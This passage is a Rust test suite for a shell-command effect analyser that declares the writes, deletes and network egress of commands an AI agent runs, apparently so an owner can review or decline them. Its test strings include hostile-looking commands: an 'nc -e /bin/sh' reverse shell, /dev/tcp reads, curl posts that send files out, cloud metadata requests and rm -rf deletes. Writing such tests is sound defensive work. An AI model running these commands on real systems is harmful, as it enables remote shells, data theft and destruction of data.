            EffectClass::Write,
            &format!("{}/f.txt", link.to_str().unwrap()),
            None,
        )
        .unwrap();
        assert_eq!(
            new_file.target,
            real_canonical.join("f.txt").to_string_lossy()
        );
        // A relative path resolves against the working directory, else it is
        // undeterminable.
        let relative =
            path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
        assert_eq!(relative, new_file);
        assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
        // Removing a symlink removes the link, not its target.
        let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
        assert_eq!(
            removed.target,
            dunce::canonicalize(dir.path())
                .unwrap()
                .join("link")
                .to_string_lossy()
        );
    }

    #[test]
    fn network_programs_declare_their_hosts() {
        let cases: &[(&str, &[&str])] = &[
            (
                "ssh deploy@h.example.invalid uptime",
                &["h.example.invalid:22"],
            ),
            ("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
            (
                "ssh ssh://h.example.invalid:2200",
                &["h.example.invalid:2200"],
            ),
            ("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
            (
                "http POST https://api.example.invalid/v1 name=x",
                &["api.example.invalid:443"],
            ),
        ];
        for (command, hosts) in cases {
            let effects = shell_call_effects(command, None);
            assert!(!effects.complete, "{command}");
            let egress: Vec<_> = effects
                .keys
                .iter()
                .filter(|key| key.class == EffectClass::Egress)
                .map(|key| key.target.as_str())
                .collect();
            assert_eq!(&egress, hosts, "{command}");
        }
    }

    #[test]
    fn local_file_effects_are_declared_with_their_class() {
        let dir = synthetic_dir();
        let key = |class: EffectClass, path: &str| EffectKey {
            class,
            target: canonical(path),
        };
        let cases: Vec<(String, Vec<EffectKey>)> = vec![
            (
                format!("rm -rf {dir}/build"),
                vec![key(EffectClass::Delete, &format!("{dir}/build"))],
            ),
            (
                format!("cp a.txt {dir}/b.txt"),
                vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
            ),
            (
                format!("mv {dir}/a {dir}/b"),
                vec![
                    key(EffectClass::Delete, &format!("{dir}/a")),
                    key(EffectClass::Write, &format!("{dir}/b")),
                ],
            ),
            (
                format!("printf x | tee -a {dir}/log"),
                vec![key(EffectClass::Write, &format!("{dir}/log"))],
            ),
            (
                format!("curl -o {dir}/page.html https://a.example.invalid/"),
                vec![
                    key(EffectClass::Write, &format!("{dir}/page.html")),
                    egress("a.example.invalid:443"),
                ],
            ),
            (
                format!("scp h.example.invalid:/srv/x {dir}/x"),
                vec![
                    egress("h.example.invalid:22"),
                    key(EffectClass::Write, &format!("{dir}/x")),
                ],
            ),
        ];
        for (command, expected) in cases {
            let effects = shell_call_effects(&command, None);
            assert!(!effects.complete, "{command}");
            let mut keys = effects.keys.clone();
            let mut expected = expected.clone();
            keys.sort_by(|a, b| a.target.cmp(&b.target));
            expected.sort_by(|a, b| a.target.cmp(&b.target));
            assert_eq!(keys, expected, "{command}");
        }
    }

    #[test]
    fn undeterminable_segments_make_effects_incomplete() {
        for command in [
            "bash run.sh",
            "python3 tool.py",
            "rm build",
            "echo x > out.txt",
            "cd /tmp/aidaemon-test && rm -rf x",
            "curl -O https://a.example.invalid/f",
            "curl --frobnicate https://a.example.invalid/",
            "wget https://a.example.invalid/f",
            "cargo build",
            "git commit -m x",
            "rm $TARGET",
            "echo $(curl https://a.example.invalid/)",
            "ssh -o ProxyCommand=x h.example.invalid",
        ] {
            assert!(!shell_call_effects(command, None).complete, "{command}");
        }
        // Keys found before the opaque segment are still declared.
        let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
        assert!(!partial.complete);
        assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
        // A relative path resolves against a known working directory.
        let dir = synthetic_dir();
        let resolved = shell_call_effects("rm build", Some(&dir));
        assert!(!resolved.complete);
        assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
        // Even a plain observation is never declared complete, though it
        // is read in full.
        for observation in ["ls -la", "echo hi", "cat a | grep b"] {
            let effects = shell_call_effects(observation, None);
            assert!(
                effects.keys.is_empty() && !effects.complete,
                "{observation}"
            );
            assert!(effects.understood, "{observation}");
        }
        for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
            assert!(!shell_call_effects(command, None).understood, "{command}");
        }
    }

    /// A script that moves with `cd` before copying and deleting declares
    /// the paths it changes there, and a reworded script with the same copy
    /// declares the same write: an owner's decline binds the effect, not the
    /// script's text.
    #[test]
    fn a_literal_cd_moves_where_later_paths_resolve() {
        let dir = synthetic_dir();
        let first = shell_call_effects(
            &format!(
                "cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
            ),
            None,
        );
        assert!(!first.complete);
        assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
        assert!(
            first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
            "{:?}",
            first.keys
        );
        // Reworded: no delete, other filler, run from another directory.
        let reworded = shell_call_effects(
            &format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
            Some("/tmp/aidaemon-test/elsewhere"),
        );
        assert!(
            reworded
                .keys
                .iter()
                .any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
        );
        // Relative `cd` from a known directory, and `||`.
        let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
        assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
        // A `cd` the rest of the script does not run after, or to a word
        // the shell expands, leaves relative paths unknown.
        for command in [
            format!("cd {dir} | true\nrm -f x"),
            format!("cd {dir} & rm -f x"),
            format!("(cd {dir}) ; rm -f x"),
            "cd $HOME && rm -f x".to_string(),
            "cd - && rm -f x".to_string(),
            format!("pushd {dir} && rm -f x"),
        ] {
            let effects = shell_call_effects(&command, None);
            assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
        }
    }

    /// What one corpus command must declare.
    enum Expect {
        /// No claim on the keys beyond "none is an expanded word".
        Incomplete,
        /// Exactly these keys.
        Exact(Vec<EffectKey>),
        /// Only keys from this set (a correct key or none, never a wrong
        /// one).
        Within(Vec<EffectKey>),
    }

    fn write(path: &str) -> EffectKey {
        EffectKey {
            class: EffectClass::Write,
            target: canonical(path),
        }
    }

    fn delete(path: &str) -> EffectKey {
        EffectKey {
            class: EffectClass::Delete,
            target: canonical(path),
        }
    }

    /// Every command from the Task 3 review (C1–C6, I1–I5, M1–M3), its
    /// probe list and the re-review (N1–N5). The contract for later tasks: a
    /// shell command is NEVER complete; the keys extracted are exact where
    /// listed, and never a wrong concrete target.
    #[test]
    fn under_declaration_corpus() {
        use Expect::{Exact, Incomplete, Within};
        let w = "/tmp/aidaemon-test/w";
        let cases: Vec<(&str, Expect)> = vec![
            // C1: `cd` moves where relative targets land.
            ("cd /etc && echo x > f", Incomplete),
            ("pushd /etc && rm -f f", Incomplete),
            ("popd; echo x > f", Incomplete),
            ("cd /tmp && curl https://a.example.invalid/", Incomplete),
            // C3: subcommand-specific option arity.
            ("git clone -u ./x https://a.example.invalid/r", Incomplete),
            ("git pull -s ours https://a.example.invalid/r", Incomplete),
            // C4: brace and glob expansion in hosts.
            ("curl 'https://{a,b}.example.invalid/'", Incomplete),
            ("curl https://{a,b}.example.invalid/", Incomplete),
            ("ssh {a,b}.example.invalid", Incomplete),
            ("scp f {a,b}.example.invalid:", Incomplete),
            ("nc {a,b}.example.invalid 80", Incomplete),
            ("curl 'https://a*.example.invalid/'", Incomplete),
            ("curl 'https://a,b.example.invalid/'", Incomplete),
            ("curl 'https://[a-b].example.invalid/'", Incomplete),
            ("ssh 'a?.example.invalid'", Incomplete),
            // C5: only a strict URL is read.
            (
                "curl 'https://a.example.invalid\\@b.example.invalid/'",
                Incomplete,
            ),
            (
                "curl 'https://u@a.example.invalid@b.example.invalid/'",
                Incomplete,
            ),
            (
                "wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
                Incomplete,
            ),
            ("curl 'https://a.example.invalid /'", Incomplete),
            ("curl 'https://ä.example.invalid/'", Incomplete),
            (
                "git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
                Incomplete,
            ),
            // I1: rsync --port.
            ("rsync --port=8730 f h.example.invalid:d", Incomplete),
            (
                "rsync --port=8730 f rsync://h.example.invalid/m/",
                Incomplete,
            ),
            // I2: proxies.
            (
                "curl -x http://p.example.invalid https://a.example.invalid/",
                Incomplete,
            ),
            (
                "curl -x socks5://p.example.invalid https://a.example.invalid/",
                Incomplete,
            ),
            (
                "curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
                Incomplete,
            ),
            (
                "curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
                Incomplete,
            ),
            (
                "ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
                Incomplete,
            ),
            // I3: scheme-less URLs.
            ("curl ftp.example.invalid/f", Incomplete),
            ("curl a.example.invalid/x", Incomplete),
            ("curl @file", Incomplete),
            ("http :8080/health", Incomplete),
            ("wget -O- a.example.invalid", Incomplete),
            // I4: git network commands run hooks and fetch submodules.
            ("git pull https://a.example.invalid/r", Incomplete),
            ("git fetch https://a.example.invalid/r", Incomplete),
            ("git push https://a.example.invalid/r main", Incomplete),
            (
                "git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
                Incomplete,
            ),
            ("git clone https://h.example.invalid/a.bundle", Incomplete),
            ("git ls-remote https://a.example.invalid/r", Incomplete),
            (
                "git ls-remote --heads https://a.example.invalid/r",
                Incomplete,
            ),
            // I5: rsync writes outside the destination.
            (
                "rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
                Incomplete,
            ),
            (
                "rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
                Incomplete,
            ),
            (
                "rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
                Incomplete,
            ),
            (
                "rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
                Incomplete,
            ),
            (
                "rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
                Incomplete,
            ),
            ("rsync -e ssh a h.example.invalid:d", Incomplete),
            (
                "rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
                Exact(vec![write("/tmp/aidaemon-test/dst")]),
            ),
            // M1: options after the ssh destination belong to the remote command.
            (
                "ssh h.example.invalid somecmd -p 2222",
                Exact(vec![egress("h.example.invalid:22")]),
            ),
            // M2: backups land beside the destination.
            ("cp -b a /tmp/aidaemon-test/f", Incomplete),
            ("cp --backup a /tmp/aidaemon-test/f", Incomplete),
            (
                "mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
                Incomplete,
            ),
            // Probe list: curl.
            (
                "curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
                Exact(vec![
                    write("/tmp/aidaemon-test/x"),
                    egress("a.example.invalid:443"),
                ]),
            ),
            ("curl -K cfg https://a.example.invalid/", Incomplete),
            ("curl --config cfg https://a.example.invalid/", Incomplete),
            ("curl -O https://a.example.invalid/f", Incomplete),
            (
                "curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
                Incomplete,
            ),
            (
                "curl --connect-to ::127.0.0.1: https://a.example.invalid/",
                Incomplete,
            ),
            (
                "curl -d @file https://a.example.invalid/",
                Exact(vec![egress("a.example.invalid:443")]),
            ),
            (
                "curl -X POST https://a.example.invalid/x -d '{}'",
                Exact(vec![egress("a.example.invalid:443")]),
            ),
            ("curl $URL", Incomplete),
            ("curl \"$(cat u)\"", Incomplete),
            (
                "curl https://a.example.invalid/ https://b.example.invalid/",
                Exact(vec![
                    egress("a.example.invalid:443"),
                    egress("b.example.invalid:443"),
                ]),
            ),
            (
                "curl -w '%output{/tmp/x}' https://a.example.invalid/",
                Incomplete,
            ),
            ("curl http://[::1]:8765/", Incomplete),
            // Probe list: wget.
            ("wget -i list", Incomplete),
            ("wget -e robots=off https://a.example.invalid/", Incomplete),
            ("wget -r https://a.example.invalid/", Incomplete),
            ("wget -P /tmp https://a.example.invalid/", Incomplete),
            ("wget https://a.example.invalid/f", Incomplete),
            (
                "wget -qO- http://b.example.invalid:8080/y",
                Exact(vec![egress("b.example.invalid:8080")]),
            ),
            // Probe list: git.
            ("git push origin main", Incomplete),
            (
                "git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
                Incomplete,
            ),
            ("git clone 'ext::sh -c x'", Incomplete),
            (
                "git clone --upload-pack=x https://a.example.invalid/r",
                Incomplete,
            ),
            (
                "git push --receive-pack=x https://a.example.invalid/r",
                Incomplete,
            ),
            ("git commit -m x", Incomplete),
            // Repository config (diff.external, core.fsmonitor, aliases,
            // pagers, hooks) runs code for every git command.
            ("git status", Incomplete),
            ("git diff", Incomplete),
            ("git log --oneline", Incomplete),
            ("git show HEAD", Incomplete),
            ("git rev-parse HEAD", Incomplete),
            ("git branch --list", Incomplete),
            ("ls -la && git status", Incomplete),
            // Probe list: ssh, scp, nc, rsync.
            ("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
            ("ssh -F cfg h.example.invalid", Incomplete),
            ("ssh -J j.example.invalid h.example.invalid", Incomplete),
            ("ssh -W x:1 h.example.invalid", Incomplete),
            (
                "scp /tmp/aidaemon-test/a b.example.invalid:",
                Exact(vec![egress("b.example.invalid:22")]),
            ),
            ("nc -l 8080", Incomplete),
            ("nc -e /bin/sh h.example.invalid 80", Incomplete),
            (
                "nc -x p.example.invalid:1080 h.example.invalid 80",
                Incomplete,
            ),
            ("python3 -m http.server", Incomplete),
            // Probe list: cp, mv, tee.
            (
                "cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
                Exact(vec![write("/tmp/aidaemon-test/dst")]),
            ),
            (
                "mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
                Exact(vec![
                    write("/tmp/aidaemon-test/c"),
                    delete("/tmp/aidaemon-test/a"),
                    delete("/tmp/aidaemon-test/b"),
                ]),
            ),
            (
                "tee -a /tmp/aidaemon-test/f",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            // Probe list: redirects.
            ("echo x >&2", Exact(vec![])),
            (
                "echo x >| /tmp/aidaemon-test/f",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            (
                "echo x &> /tmp/aidaemon-test/f",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            (
                "echo x 2> /tmp/aidaemon-test/f",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            (
                "echo x >& /tmp/aidaemon-test/f",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            ("echo x > 'out file'", Incomplete),
            ("exec 3> /tmp/aidaemon-test/f", Incomplete),
            ("cat <> /tmp/aidaemon-test/f", Incomplete),
            ("cat <<EOF\nx\nEOF", Incomplete),
            ("echo $'x'", Incomplete),
            ("cat < /dev/tcp/h.example.invalid/80", Incomplete),
            // Probe list: wrappers and groupings.
            ("xargs rm", Incomplete),
            ("find . -exec rm {} \\;", Incomplete),
            ("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
            ("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
            ("command rm /tmp/aidaemon-test/x", Incomplete),
            ("nohup rm /tmp/aidaemon-test/x", Incomplete),
            ("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
            ("sudo rm /tmp/aidaemon-test/x", Incomplete),
            ("time rm /tmp/aidaemon-test/x", Incomplete),
            ("{ rm /tmp/aidaemon-test/x; }", Incomplete),
            ("( rm /tmp/aidaemon-test/x )", Incomplete),
            ("X=1 rm /tmp/aidaemon-test/x", Incomplete),
            // Probe list: deletes.
            ("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
            (
                "git ls-remote git@git.example.invalid:acme/repo.git",
                Incomplete,
            ),
            (
                "unlink /tmp/aidaemon-test/x",
                Exact(vec![delete("/tmp/aidaemon-test/x")]),
            ),
            ("rm /tmp/aidaemon-test/*.o", Incomplete),
            ("rm ~other/x", Incomplete),
            ("rm /tmp/aidaemon-test/a\\ b", Incomplete),
            ("shred /tmp/aidaemon-test/x", Incomplete),
            ("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
            ("dd of=/tmp/aidaemon-test/x", Incomplete),
            ("install a /tmp/aidaemon-test/b", Incomplete),
            ("ln -s a /tmp/aidaemon-test/b", Incomplete),
            ("chmod 600 /tmp/aidaemon-test/x", Incomplete),
            // Probe list: chains collect every segment.
            (
                "curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
                Exact(vec![
                    egress("a.example.invalid:443"),
                    write("/tmp/aidaemon-test/f"),
                ]),
            ),
            ("bash x && curl https://a.example.invalid/", Incomplete),
            // Unquoted expansion anywhere in a segment.
            ("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
            ("echo * > /tmp/aidaemon-test/f", Incomplete),
            (
                "curl -H \"X: $TOKEN\" https://a.example.invalid/",
                Incomplete,
            ),
            // Text the shell never executes yields no keys: heredoc bodies,
            // comments, and newlines inside quoted strings.
            (
                "cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
                Exact(vec![]),
            ),
            (
                "cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
                Exact(vec![write("/tmp/aidaemon-test/f")]),
            ),
            (
                "cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
                Exact(vec![egress("b.example.invalid:443")]),
            ),
            ("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
            (
                "echo x #\ncurl https://b.example.invalid/",
                Exact(vec![egress("b.example.invalid:443")]),
            ),
            (
                "echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
                Exact(vec![]),
            ),
            (
                "echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
                Exact(vec![]),
            ),
            // N1: `>&WORD` is a file unless WORD is a descriptor.
            (
                "echo hi >&1file",
                Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
            ),
            ("echo hi >&2", Exact(vec![])),
            ("echo hi 2>&-", Exact(vec![])),
            ("echo hi >&2-", Exact(vec![])),
            // N2: `find -follow -delete` reaches through symlinks.
            (
                "find /tmp/aidaemon-test/w/x -follow -delete",
                Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
            ),
            // N3: `-w @file` reads a format that may write anywhere.
            (
                "curl -w @fmt https://a.example.invalid/",
                Exact(vec![egress("a.example.invalid:443")]),
            ),
            (
                "curl --write-out @fmt https://a.example.invalid/",
                Exact(vec![egress("a.example.invalid:443")]),
            ),
            // N4: a scheme with no known default port gives no key.
            (
                "curl dict://h.example.invalid/d:x",
                Within(vec![egress("h.example.invalid:2628")]),
            ),
            ("curl ldap://h.example.invalid/", Within(vec![])),
            ("curl telnet://h.example.invalid/", Within(vec![])),
            (
                "curl gopher://h.example.invalid:70/",
                Exact(vec![egress("h.example.invalid:70")]),
            ),
            // N5: `~` attached with `=` or to a short option is literal.
            (
                "wget --output-document=~/x https://a.example.invalid/",
                Within(vec![
                    write("/tmp/aidaemon-test/w/~/x"),
                    egress("a.example.invalid:443"),
                ]),
            ),
            (
                "curl -o~/x https://a.example.invalid/",
                Within(vec![
                    write("/tmp/aidaemon-test/w/~/x"),
                    egress("a.example.invalid:443"),
                ]),
            ),
        ];
        let mut wrong = Vec::new();
        for (command, expect) in cases {
            let effects = shell_call_effects(command, Some(w));
            let ok = !effects.complete
                && match expect {
                    Incomplete => true,
                    Exact(mut expected) => {
                        let mut keys = effects.keys.clone();
                        let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
                        keys.sort_by_key(order);
                        expected.sort_by_key(order);
                        keys == expected
                    }
                    Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
                };
            // An expanded word never becomes a key.
            let clean = effects
                .keys
                .iter()
                .all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
            if !ok || !clean {
                wrong.push(format!("{command:?} => {effects:?}"));
            }
        }
        assert!(
            wrong.is_empty(),
            "{} wrong:\n{}",
            wrong.len(),
            wrong.join("\n")
        );
        // The partial keys of an incomplete call are still declared.
        let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
        assert!(partial.keys.contains(&egress("a.example.invalid:443")));
    }

    /// C6: shell operands resolve physically, the way the OS does.
    #[cfg(unix)]
    #[test]
    fn shell_paths_resolve_through_symlinks_physically() {
        let dir = tempfile::tempdir().unwrap();
        let w = dunce::canonicalize(dir.path()).unwrap();
        let w = w.to_str().unwrap();
        std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
        std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
        std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
        let key = |class, path: String| EffectKey {
            class,
            target: path,
        };
        // `rm -rf link/` deletes the target directory's contents.
        let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
        assert!(!trailing.complete);
        assert!(
            trailing
                .keys
                .contains(&key(EffectClass::Delete, format!("{w}/a/real")))
        );
        assert!(
            trailing
                .keys
                .contains(&key(EffectClass::Delete, format!("{w}/link")))
        );
        // `link/..` is the link target's parent, not `w`.
        let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
        assert!(!climbed.complete);
        assert!(
            climbed
                .keys
                .contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
        );
        let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
        assert!(!redirected.complete);
        assert_eq!(
            redirected.keys,
            vec![key(EffectClass::Write, format!("{w}/a/f"))]
        );
        // A prefix that exists but cannot be canonicalized gives no key.
        assert!(
            shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
                .keys
                .is_empty()
        );
    }

    /// A fetch is proven only when the exit status vouches for it: curl or
    /// wget alone, or joined by `&&`, one strict URL each, kept as written.
    #[test]
    fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
        let url = "https://synthetic-tunnel.example/";
        let other = "http://127.0.0.1:8080/wp-login.php";
        assert_eq!(
            proven_fetch_urls(&format!("curl -sSfL {url}")),
            Some(vec![url.to_string()])
        );
        assert_eq!(
            proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
            Some(vec![url.to_string()])
        );
        assert_eq!(
            proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
            Some(vec![other.to_string()])
        );
        assert_eq!(
            proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
            Some(vec![url.to_string(), other.to_string()])
        );
        assert_eq!(
            proven_fetch_urls(&format!("curl --url {url}")),
            Some(vec![url.to_string()])
        );

        // A later step, or the shell itself, can mask a failed fetch.
        for masked in [
            format!("curl -s {url}; true"),
            format!("curl -s {url} || echo down"),
            format!("curl -s {url} | head -5"),
            format!("curl -s {url} |& tee /tmp/out"),
            format!("curl -s {url} & wait"),
            format!("(curl -s {url})"),
            format!("curl -s {url}\necho done"),
            format!("curl -s {url} && echo ok"),
            format!("echo start && curl -s {url}"),
            "curl -s $(cat /tmp/url)".to_string(),
            "curl -s \"$URL\"".to_string(),
            format!("URL={url} curl -s {url}"),
            format!("sudo curl -s {url}"),
            format!("curl -s {url} {other}"),
            format!("curl -K /tmp/curlrc {url}"),
            format!("/tmp/bin/curl -s {url}"),
            "curl -s synthetic-tunnel.example".to_string(),
            "curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
            "curl -s".to_string(),
            String::new(),
        ] {
            assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
        }
    }

    /// Windows PowerShell, the shell there: reading cmdlets are
    /// observations, a backslash never hides a second command, code-bearing
    /// arguments and PowerShell's `curl` are unknown.
    #[cfg(windows)]
    mod powershell {
        use super::super::*;

        #[test]
        fn reading_cmdlets_are_observations() {
            for line in [
                r"Get-Content C:\Users\alice\notes.txt",
                "Start-Sleep -Seconds 1; Write-Output done",
                r"gci C:\Users\alice | Select-String TODO",
                r"Test-Path C:\Users\alice\notes.txt",
            ] {
                assert!(command_effects(line).observation_only, "{line}");
            }
        }

        #[test]
        fn a_backslash_does_not_hide_a_delete() {
            let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
            assert!(!effects.observation_only);
            assert!(effects.deletes);
        }

        #[test]
        fn code_bearing_arguments_are_unknown() {
            for line in [
                "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
                "Write-Output $(Remove-Item x)",
                "Get-Content @args",
                "Select-Object @{n='x';e={Remove-Item y}}",
            ] {
                let effects = command_effects(line);
                assert!(!effects.observation_only, "{line}");
                assert!(!effects.local_work_only, "{line}");
            }
        }

        #[test]
        fn powershell_curl_is_not_read_as_curl() {
            let line = "curl -Method Post -Body secret https://example.invalid/x";
            assert!(!only_reads(line));
            assert!(fetches_network(line));
        }

        #[test]
        fn curl_exe_is_curl() {
            let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
            assert!(
                effects
                    .keys
                    .iter()
                    .any(|key| key.class == EffectClass::Egress),
                "{:?}",
                effects.keys
            );
            assert!(only_reads("curl.exe -s https://example.invalid/x"));
        }

        #[test]
        fn remove_item_targets_are_read() {
            let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
            assert!(effects.deletes);
            assert_eq!(
                effects.delete_targets,
                Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
            );
            assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
        }

        #[test]
        fn web_cmdlets_name_where_they_go() {
            for line in [
                "curl http://169.254.169.254/latest/meta-data/",
                "Invoke-WebRequest -Uri http://169.254.169.254/latest/",
            ] {
                let effects = shell_call_effects(line, None);
                assert!(!effects.understood, "{line}");
                assert!(
                    effects
                        .keys
                        .iter()
                        .any(|key| key.class == EffectClass::Egress
                            && key.target.starts_with("169.254.169.254")),
                    "{line}: {:?}",
                    effects.keys
                );
            }
        }

        #[test]
        fn remove_item_declares_its_delete() {
            let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
            assert!(
                effects
                    .keys
                    .iter()
                    .any(|key| key.class == EffectClass::Delete),
                "{:?}",
                effects.keys
            );
        }
    }
}